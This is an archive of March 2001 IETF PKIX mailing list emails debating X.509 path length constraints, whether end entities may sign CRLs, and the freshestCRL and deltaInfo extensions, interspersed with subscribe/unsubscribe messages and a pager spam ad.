Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id LAA02318 for <[e-mail]>; Tue, 6 Mar 2001 11:25:25 -0500 (EST)
Message-Id: <[e-mail]>
Date: Tue, 6 Mar 2001 11:25:07 -0500 (EST)
From: David Kemp <[e-mail]>
Reply-To: David Kemp <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 3AeN6HDW/l7Iw74gTVuzQQ==

Al,

The question is what should be done about language such as RFC-2459
section 5.1.2.5:  "This profile requires inclusion of <xxx> in all CRLs
issued by conforming CAs."  In the case of CRLs signed by an end
entity, I wouldn't want anyone to think that "This profile does not
require inclusion of <xxx> in all CRLs issued by conforming end
entities". :-)

I'm quite happy with Warwick's "issued by conforming CRL Issuers".
And I see you can accept that too.

But to return to the original question: should path length constraints
yield the identical results when the CRL Issuer is a CA and when the
CRL Issuer is an end entity?   I say yes - a CRL should be accepted
in one case iff it is accepted in the other case.

Dave


P.S. There is a difference between OCSP and CRLs - OCSP responses
can be signed by a "trusted" responder (one which is not operated
by the Certificate Management Authority, to use the DoD's term
for the CA and it's authorized agents.)   CRLs, on the other hand,
are never valid unless signed by the CA or the CA's designee.
For that reason, I think it's reasonable to talk about CRLs being
issued by the CA even when basicConstraints is absent in the CRL-signing
cert.  But "CRL Issuer" says it all, so there is no reason pursue
whether a CRL signed by the CA's agent is "issued" by the CA.



> From: "Al Arsenault" <[e-mail]>
>
> I would support the former, or some variant of it.  Let's be clear about 
> our terminology.  We don't call an entity which signs OCSP responses but 
> doesn't sign certificates and has basicConstraints absent a "CA".  We 
> shouldn't call an entity which signs CRLs but doesn't sign certificates and 
> has basicConstraints absent a "CA", either.
> 
> If we're sloppy with the terminology, somebody later on is going to fail to 
> grasp the subtlety of it and get this wrong.




Received: from proxy.ojp.usdoj.gov (lists.ojp.usdoj.gov [149.101.22.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id HAA14421 for <[e-mail]>; Tue, 6 Mar 2001 07:46:27 -0800 (PST)
Received: from ns.ojp.usdoj.gov by proxy.ojp.usdoj.gov via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 6 Mar 2001 15:37:37 UT
Received: from ojpsmtp.ojp.usdoj.gov (ojpmail.ojp.usdoj.gov [10.121.16.126]) by lists.ojp.usdoj.gov (8.9.3/8.9.3) with SMTP id KAA12745 for <[e-mail]>; Tue, 6 Mar 2001 10:45:56 -0500 (EST)
Received: from GATEWAY-Message_Server by ojpsmtp.ojp.usdoj.gov with Novell_GroupWise; Tue, 06 Mar 2001 10:43:40 -0500
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.4
Date: Tue, 06 Mar 2001 10:43:20 -0500
From: "Lawrence Gross" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject:  Unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id HAA14425

Unsubscribe

>>> Sharon Boeyen <[e-mail]> 3/6/2001 10:34:42 AM >>>
>From an X.509 perspective I want to clarify what DR 272 is intended to do. 
With respect to the portion of the path that includes the cert containing
the 
extension and the cert that is the final one in the path, that portion of
the path can
exceed the constraint value by 2. Here is the relevant text from the DR:

". Therefore the total length of this segment of the path, excluding
self-issued certificates, may exceed the value of the constraint by as many
as two certificates. (This includes the certificates at the two endpoints of
the segment plus the CA certificates between the two endpoints that are
constrained by the value of this extension.)".

If the term "end-entity" in the DR resolution is what is causing the problem
in PKIX, 
then I'm sure we can replace that term with another one (e.g. the final cert
in the path). The 
509 DR is NOT trying to comment on what the final cert represents (with
respect to a CA, end user etc). The 
term end-entity is this context was meant to differentiate that final cert
from an intermediary cert. This is exactly the same as what is done with the
similar text for delegation paths for attribute certs. 

Would replacing "end-entity" in the DR eliminate the PKIX problem?

I realize that the discussion has moved beyond the pure DR into the area of
"who can issue CRLs", but that is a separate issue from the path length
constraint in which the value in that integer represents the maximum number
of intermediary non self-issued certs between the two endpoints (where one
endpoint is the cert containing the extension and the other end-point is the
final cert in the path, regarless of the entity type that is its subject).

Sharon


> -----Original Message-----
> From: David Kemp [mailto:[e-mail]] 
> Sent: Tuesday, March 06, 2001 9:18 AM
> To: [e-mail] 
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> Dave,
> 
> Then is it your suggestion that all PKIX words regarding issuance of
> CRLs by "conforming CAs" be extended to "conforming CAs and 
> end entities",
> or is it your suggestion that CRLs MUST NOT be verified except by a
> public key which is also permitted to verify certificates?
> 
> I strongly disagree with the latter, of course.
> 
> I disagree with the former too, since it is my belief that a 
> "conforming
> CA" is the organization which signs the CRL, not the public key which
> signs the CRL.  But if PKIX chooses to regard some CRL signers as end
> entities, then it must have words which permit some end entities to
> sign CRLs.
> 
> Dave
> 
> 
> 
> > Date: Mon, 05 Mar 2001 16:30:10 -0500
> > From: David Simonetti <[e-mail]>
> >
> > Dave,
> > 
> > Responding to your question:
> > 
> > > If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
> > > isn't the subject of the certificate "a conforming CA"?
> > 
> > No, it is an end entity.
> > --
> > David Simonetti
> > Securify (www.securify.com), 410-356-2260
> > 
> 



Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA12162 for <[e-mail]>; Tue, 6 Mar 2001 07:37:56 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <F59CQ4T4>; Tue, 6 Mar 2001 10:37:27 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Tue, 6 Mar 2001 10:34:42 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A652.F6ADFAA0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A652.F6ADFAA0
Content-Type: text/plain

>From an X.509 perspective I want to clarify what DR 272 is intended to do. 
With respect to the portion of the path that includes the cert containing
the 
extension and the cert that is the final one in the path, that portion of
the path can
exceed the constraint value by 2. Here is the relevant text from the DR:

". Therefore the total length of this segment of the path, excluding
self-issued certificates, may exceed the value of the constraint by as many
as two certificates. (This includes the certificates at the two endpoints of
the segment plus the CA certificates between the two endpoints that are
constrained by the value of this extension.)".

If the term "end-entity" in the DR resolution is what is causing the problem
in PKIX, 
then I'm sure we can replace that term with another one (e.g. the final cert
in the path). The 
509 DR is NOT trying to comment on what the final cert represents (with
respect to a CA, end user etc). The 
term end-entity is this context was meant to differentiate that final cert
from an intermediary cert. This is exactly the same as what is done with the
similar text for delegation paths for attribute certs. 

Would replacing "end-entity" in the DR eliminate the PKIX problem?

I realize that the discussion has moved beyond the pure DR into the area of
"who can issue CRLs", but that is a separate issue from the path length
constraint in which the value in that integer represents the maximum number
of intermediary non self-issued certs between the two endpoints (where one
endpoint is the cert containing the extension and the other end-point is the
final cert in the path, regarless of the entity type that is its subject).

Sharon


> -----Original Message-----
> From: David Kemp [mailto:[e-mail]]
> Sent: Tuesday, March 06, 2001 9:18 AM
> To: [e-mail]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> Dave,
> 
> Then is it your suggestion that all PKIX words regarding issuance of
> CRLs by "conforming CAs" be extended to "conforming CAs and 
> end entities",
> or is it your suggestion that CRLs MUST NOT be verified except by a
> public key which is also permitted to verify certificates?
> 
> I strongly disagree with the latter, of course.
> 
> I disagree with the former too, since it is my belief that a 
> "conforming
> CA" is the organization which signs the CRL, not the public key which
> signs the CRL.  But if PKIX chooses to regard some CRL signers as end
> entities, then it must have words which permit some end entities to
> sign CRLs.
> 
> Dave
> 
> 
> 
> > Date: Mon, 05 Mar 2001 16:30:10 -0500
> > From: David Simonetti <[e-mail]>
> >
> > Dave,
> > 
> > Responding to your question:
> > 
> > > If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
> > > isn't the subject of the certificate "a conforming CA"?
> > 
> > No, it is an end entity.
> > --
> > David Simonetti
> > Securify (www.securify.com), 410-356-2260
> > 
> 

------_=_NextPart_001_01C0A652.F6ADFAA0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Open Issue in Part1: path length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>From an X.509 perspective I want to clarify what DR =
272 is intended to do. </FONT>
<BR><FONT SIZE=3D2>With respect to the portion of the path that =
includes the cert containing the </FONT>
<BR><FONT SIZE=3D2>extension and the cert that is the final one in the =
path, that portion of the path can</FONT>
<BR><FONT SIZE=3D2>exceed the constraint value by 2. Here is the =
relevant text from the DR:</FONT>
</P>

<P><FONT SIZE=3D2>&quot;. Therefore the total length of this segment of =
the path, excluding self-issued certificates, may exceed the value of =
the constraint by as many as two certificates. (This includes the =
certificates at the two endpoints of the segment plus the CA =
certificates between the two endpoints that are constrained by the =
value of this extension.)&quot;.</FONT></P>

<P><FONT SIZE=3D2>If the term &quot;end-entity&quot; in the DR =
resolution is what is causing the problem in PKIX, </FONT>
<BR><FONT SIZE=3D2>then I'm sure we can replace that term with another =
one (e.g. the final cert in the path). The </FONT>
<BR><FONT SIZE=3D2>509 DR is NOT trying to comment on what the final =
cert represents (with respect to a CA, end user etc). The </FONT>
<BR><FONT SIZE=3D2>term end-entity is this context was meant to =
differentiate that final cert from an intermediary cert. This is =
exactly the same as what is done with the similar text for delegation =
paths for attribute certs. </FONT></P>

<P><FONT SIZE=3D2>Would replacing &quot;end-entity&quot; in the DR =
eliminate the PKIX problem?</FONT>
</P>

<P><FONT SIZE=3D2>I realize that the discussion has moved beyond the =
pure DR into the area of &quot;who can issue CRLs&quot;, but that is a =
separate issue from the path length constraint in which the value in =
that integer represents the maximum number of intermediary non =
self-issued certs between the two endpoints (where one endpoint is the =
cert containing the extension and the other end-point is the final cert =
in the path, regarless of the entity type that is its =
subject).</FONT></P>

<P><FONT SIZE=3D2>Sharon</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: David Kemp [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail]</A>]<=
/FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, March 06, 2001 9:18 AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: [e-mail]</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Open Issue in Part1: path length =
constraints</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Dave,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Then is it your suggestion that all PKIX words =
regarding issuance of</FONT>
<BR><FONT SIZE=3D2>&gt; CRLs by &quot;conforming CAs&quot; be extended =
to &quot;conforming CAs and </FONT>
<BR><FONT SIZE=3D2>&gt; end entities&quot;,</FONT>
<BR><FONT SIZE=3D2>&gt; or is it your suggestion that CRLs MUST NOT be =
verified except by a</FONT>
<BR><FONT SIZE=3D2>&gt; public key which is also permitted to verify =
certificates?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I strongly disagree with the latter, of =
course.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I disagree with the former too, since it is my =
belief that a </FONT>
<BR><FONT SIZE=3D2>&gt; &quot;conforming</FONT>
<BR><FONT SIZE=3D2>&gt; CA&quot; is the organization which signs the =
CRL, not the public key which</FONT>
<BR><FONT SIZE=3D2>&gt; signs the CRL.&nbsp; But if PKIX chooses to =
regard some CRL signers as end</FONT>
<BR><FONT SIZE=3D2>&gt; entities, then it must have words which permit =
some end entities to</FONT>
<BR><FONT SIZE=3D2>&gt; sign CRLs.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Dave</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Date: Mon, 05 Mar 2001 16:30:10 =
-0500</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: David Simonetti =
&lt;[e-mail]&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Dave,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Responding to your question:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; If that certificate has cA=3Dfalse, =
and keyCertSign=3D0 and cRLSign=3D1,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; isn't the subject of the certificate =
&quot;a conforming CA&quot;?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; No, it is an end entity.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; David Simonetti</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Securify (www.securify.com), =
410-356-2260</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A652.F6ADFAA0--


Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA11984 for <[e-mail]>; Tue, 6 Mar 2001 07:37:29 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD8463PQ; Tue, 6 Mar 2001 07:37:01 -0800
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 10:24:59 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "[e-mail]" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I agree with Al.

Dave S.

Al Arsenault wrote:

> Dave(s), et alia,
>
> >Then is it your suggestion that all PKIX words regarding issuance of
>
> >CRLs by "conforming CAs" be extended to "conforming CAs and end entities",
>
> >or is it your suggestion that CRLs MUST NOT be verified except by a
>
> >public key which is also permitted to verify certificates?
>
> >I strongly disagree with the latter, of course.
>
> >I disagree with the former too, since it is my belief that a "conforming
>
> >CA" is the organization which signs the CRL, not the public key which
>
> >signs the CRL.  But if PKIX chooses to regard some CRL signers as end
>
> >entities, then it must have words which permit some end entities to
>
> >sign CRLs.
>
> I would support the former, or some variant of it.  Let's be clear about
> our terminology.  We don't call an entity which signs OCSP responses but
> doesn't sign certificates and has basicConstraints absent a "CA".  We
> shouldn't call an entity which signs CRLs but doesn't sign certificates and
> has basicConstraints absent a "CA", either.
>
> If we're sloppy with the terminology, somebody later on is going to fail to
> grasp the subtlety of it and get this wrong.
>
>                 Al Arsenault
>                 Chief Security Architect
>                 Diversinet Corp.

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA11708 for <[e-mail]>; Tue, 6 Mar 2001 07:36:33 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD8463P1; Tue, 6 Mar 2001 07:36:05 -0800
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 10:24:03 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Kemp <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

What is a CA?  Interestingly, in a cursory review of several of the PKIX
documents I couldn't find a definition.  I have always defined a CA as "the
trusted entity that binds a public key to a subject through the issuance of a
certificate."  I have *always*assumed* that "CA" and "issuance of certificates"
go hand-in-hand.  What do you call a CA that can't issue certificates?  I don't
know, but I wouldn't call it a CA.

Dave S.

David Kemp wrote:

> Dave,
>
> Then is it your suggestion that all PKIX words regarding issuance of
> CRLs by "conforming CAs" be extended to "conforming CAs and end entities",
> or is it your suggestion that CRLs MUST NOT be verified except by a
> public key which is also permitted to verify certificates?
>
> I strongly disagree with the latter, of course.
>
> I disagree with the former too, since it is my belief that a "conforming
> CA" is the organization which signs the CRL, not the public key which
> signs the CRL.  But if PKIX chooses to regard some CRL signers as end
> entities, then it must have words which permit some end entities to
> sign CRLs.
>
> Dave
>
> > Date: Mon, 05 Mar 2001 16:30:10 -0500
> > From: David Simonetti <[e-mail]>
> >
> > Dave,
> >
> > Responding to your question:
> >
> > > If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
> > > isn't the subject of the certificate "a conforming CA"?
> >
> > No, it is an end entity.
> > --
> > David Simonetti
> > Securify (www.securify.com), 410-356-2260
> >

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from femail1.sdc1.sfba.home.com (femail1.sdc1.sfba.home.com [24.0.95.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA07556 for <[e-mail]>; Tue, 6 Mar 2001 06:51:47 -0800 (PST)
Received: from CC787228-A ([24.180.131.6]) by femail1.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010306145107.EUNU2502.femail1.sdc1.sfba.home.com@CC787228-A>; Tue, 6 Mar 2001 06:51:07 -0800
Received: by localhost with Microsoft MAPI; Tue, 6 Mar 2001 09:55:14 -0500
Message-ID: <[e-mail]>
From: Al Arsenault <[e-mail]>
To: "'David Kemp'" <[e-mail]>, "[e-mail]" <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Date: Tue, 6 Mar 2001 09:55:13 -0500
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Encoding: 38 TEXT

Dave(s), et alia,


>Then is it your suggestion that all PKIX words regarding issuance of

>CRLs by "conforming CAs" be extended to "conforming CAs and end entities",

>or is it your suggestion that CRLs MUST NOT be verified except by a

>public key which is also permitted to verify certificates?

>I strongly disagree with the latter, of course.

>I disagree with the former too, since it is my belief that a "conforming

>CA" is the organization which signs the CRL, not the public key which

>signs the CRL.  But if PKIX chooses to regard some CRL signers as end

>entities, then it must have words which permit some end entities to

>sign CRLs.


I would support the former, or some variant of it.  Let's be clear about 
our terminology.  We don't call an entity which signs OCSP responses but 
doesn't sign certificates and has basicConstraints absent a "CA".  We 
shouldn't call an entity which signs CRLs but doesn't sign certificates and 
has basicConstraints absent a "CA", either.

If we're sloppy with the terminology, somebody later on is going to fail to 
grasp the subtlety of it and get this wrong.

		Al Arsenault
		Chief Security Architect
		Diversinet Corp.




Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA05188 for <[e-mail]>; Tue, 6 Mar 2001 06:18:53 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id JAA26004 for <[e-mail]>; Tue, 6 Mar 2001 09:18:24 -0500 (EST)
Message-Id: <[e-mail]>
Date: Tue, 6 Mar 2001 09:18:06 -0500 (EST)
From: David Kemp <[e-mail]>
Reply-To: David Kemp <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: r8+BTfNLJhRpce9aNgupEQ==

Dave,

Then is it your suggestion that all PKIX words regarding issuance of
CRLs by "conforming CAs" be extended to "conforming CAs and end entities",
or is it your suggestion that CRLs MUST NOT be verified except by a
public key which is also permitted to verify certificates?

I strongly disagree with the latter, of course.

I disagree with the former too, since it is my belief that a "conforming
CA" is the organization which signs the CRL, not the public key which
signs the CRL.  But if PKIX chooses to regard some CRL signers as end
entities, then it must have words which permit some end entities to
sign CRLs.

Dave



> Date: Mon, 05 Mar 2001 16:30:10 -0500
> From: David Simonetti <[e-mail]>
>
> Dave,
> 
> Responding to your question:
> 
> > If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
> > isn't the subject of the certificate "a conforming CA"?
> 
> No, it is an end entity.
> --
> David Simonetti
> Securify (www.securify.com), 410-356-2260
> 



Received: from TYO201.gate.nec.co.jp (TYO201.gate.nec.co.jp [202.32.8.214]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA01181 for <[e-mail]>; Tue, 6 Mar 2001 05:29:57 -0800 (PST)
Received: from mailgate4.nec.co.jp ([10.7.69.193]) by TYO201.gate.nec.co.jp (8.9.3/3.7W01030114) with ESMTP id WAA24556 for <[e-mail]>; Tue, 6 Mar 2001 22:29:57 +0900 (JST)
Received: from mailsv4.nec.co.jp (mailgate51.nec.co.jp [10.7.69.190]) by mailgate4.nec.co.jp (8.9.3/3.7W-MAILGATE-NEC) with ESMTP id WAA10885 for <[e-mail]>; Tue, 6 Mar 2001 22:29:55 +0900 (JST)
Received: from cmtjnf6.fgsd.mt.nec.co.jp (cmtjnf6.fgsd.mt.nec.co.jp [133.201.42.156]) by mailsv4.nec.co.jp (8.9.3/3.7W-MAILSV4-NEC) with ESMTP id WAA11201 for <[e-mail]>; Tue, 6 Mar 2001 22:29:55 +0900 (JST)
Received: from DENKO ([133.201.42.99]) by cmtjnf6.fgsd.mt.nec.co.jp (ExpressMail 4.0) with SMTP id NAA161279 for <[e-mail]>; Tue, 6 Mar 2001 22:26:52 +0900 (JST)
Message-ID: <03c701c0a642$3b574000$632ac985@DENKO>
From: "Emi Tominaga" <[e-mail]>
To: <[e-mail]>
Subject: subscribe
Date: Tue, 6 Mar 2001 22:34:54 +0900
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

subscribe



Received: from mail.hosokawa.co.jp (IDENT:qmailr@[202.229.20.29]) by above.proper.com (8.9.3/8.9.3) with SMTP id EAA29178 for <[e-mail]>; Tue, 6 Mar 2001 04:54:21 -0800 (PST)
From: [e-mail]
Received: (qmail 2195 invoked from network); 4 Mar 2001 02:10:56 -0000
Received: from unknown (HELO ns.rdc.cl) (206.215.127.132) by ds19.hosokawa.co.jp with SMTP; 4 Mar 2001 02:10:56 -0000
Message-ID: <00002d4f6fd9$00003c9b$[e-mail]>
To: <[e-mail]>
Subject: Brand New E-Mail pager for FR-EE!
Date: Sat, 03 Mar 2001 18:46:51 -0600
X-Priority: 3
X-MSMail-Priority: Normal
Reply-To: [e-mail]

Brand New Pager for FR-EE!

   No long term contract
   No big prepayment of airtime
   No credit check

   Put Free pagers on your kids - Give one to your loved ones - For FR-EE

   Here at Paging America we are excited to be offering you this exclusive, top of the line, full featured pager in your choice
   of color for FR=EE. This side viewable display pager is one of the smallest and lightest pagers on the market today.


   Call 877-699-8546 to be Guaranteed Your FR-EE Pager Today


   Your pager will hold up to 20 numeric messages. It has 9 music alerts and silent vibration. New FLEX technology provides three
   times the battery life. Also, message time and date stamping and smart alarm so you can set a daily or weekly reminder.
   This pager comes in black, teal and blue.

   To receive your free pager all we ask is that you allow us to provide you with the monthly airtime cancelable at any time.
   There is no long term contract. Just call the toll free number and we'll ship your Fr-ee pager to you immediately in your choice of color
   already programmed with a local telephone number for your town.

   Make this easy phone call and we will deliver your pager immediately.


   Call 877-699-8546 to get in on this exciting offer today















Brand New Pager for FR-EE!






Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA28202 for <[e-mail]>; Mon, 5 Mar 2001 14:47:39 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.2831); Mon, 5 Mar 2001 14:48:01 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 05 Mar 2001 14:47:56 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Mon, 5 Mar 2001 14:48:07 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4658.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Subject: RE: WG Last Call: Son-of-2459: More about delta-CRLs
Date: Mon, 5 Mar 2001 14:47:55 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: WG Last Call: Son-of-2459: More about delta-CRLs
Thread-Index: AcClvbqnEC2sEwZtQo23EOsHisQW+gACC2aQ
From: "Trevor Freeman" <[e-mail]>
To: "David A. Cooper" <[e-mail]>, "IETF-PXIX" <[e-mail]>
X-OriginalArrivalTime: 05 Mar 2001 22:48:07.0561 (UTC) FILETIME=[58A3C790:01C0A5C6]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id OAA28203

David,
You are pointing out a "delta" between X.509 and pkix. 
son of 2459 allows Freshest CRL extension in CRLs. (draft 4, para
5.2.6).
Trevor

-----Original Message-----
From: David A. Cooper [mailto:[e-mail]]
Sent: Monday, March 05, 2001 1:43 PM
To: IETF-PXIX
Subject: RE: WG Last Call: Son-of-2459: More about delta-CRLs


Trevor,

According to X.509, the freshestCRL extension may only be used in
certificates:

                 The freshest CRL extension shall be used only as a
certificate extension
                 and may be used in certificates issued to authorities
as well as certificates
                 issued to users. This field identifies the CRL to which
a certificate user should
                 refer to obtain the freshest revocation information
(e.g.: latest dCRL).

X.509 defines a CRL extension, deltaInfo, that could be included in base
CRLs, but this extension has not been included in the PKIX profile. The
deltaInfo extension is described as follows:

                 This CRL extension is for use in CRLs that are not
dCRLs and is used to
                 indicate to relying parties that dCRLs are also
available for the CRL containing
                 this extension. The extension provides the location at
which the related dCRLs
                 can be found and optionally the time at which the next
dCRL is to be issued. 

Dave

At 01:06 PM 3/5/01 -0800, Trevor Freeman wrote:
>TF> given the range of possibilities introduced by having freshest CRL
>in either the certificate or CRL, I would prefer some recommendations
on
>what should be done. Having no guidance opens up a large number of
>permutations, and we want to progress this to draft standard, we need
to
>refine our scope to what is reasonable, not what is possible.
>
>TF> Having a freshest CRL extension in a CRL provides such an
indicator.







Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA24195 for <[e-mail]>; Mon, 5 Mar 2001 13:42:52 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id QAA26457 for <[e-mail]>; Mon, 5 Mar 2001 16:42:52 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Mon, 05 Mar 2001 16:42:33 -0500
To: "IETF-PXIX" <[e-mail]>
From: "David A. Cooper" <[e-mail]>
Subject: RE: WG Last Call: Son-of-2459: More about delta-CRLs
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Trevor,

According to X.509, the freshestCRL extension may only be used in certificates:

                 The freshest CRL extension shall be used only as a certificate extension
                 and may be used in certificates issued to authorities as well as certificates
                 issued to users. This field identifies the CRL to which a certificate user should
                 refer to obtain the freshest revocation information (e.g.: latest dCRL).

X.509 defines a CRL extension, deltaInfo, that could be included in base CRLs, but this extension has not been included in the PKIX profile. The deltaInfo extension is described as follows:

                 This CRL extension is for use in CRLs that are not dCRLs and is used to
                 indicate to relying parties that dCRLs are also available for the CRL containing
                 this extension. The extension provides the location at which the related dCRLs
                 can be found and optionally the time at which the next dCRL is to be issued. 

Dave

At 01:06 PM 3/5/01 -0800, Trevor Freeman wrote:
>TF> given the range of possibilities introduced by having freshest CRL
>in either the certificate or CRL, I would prefer some recommendations on
>what should be done. Having no guidance opens up a large number of
>permutations, and we want to progress this to draft standard, we need to
>refine our scope to what is reasonable, not what is possible.
>
>TF> Having a freshest CRL extension in a CRL provides such an indicator.







Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA24130 for <[e-mail]>; Mon, 5 Mar 2001 13:42:32 -0800 (PST)
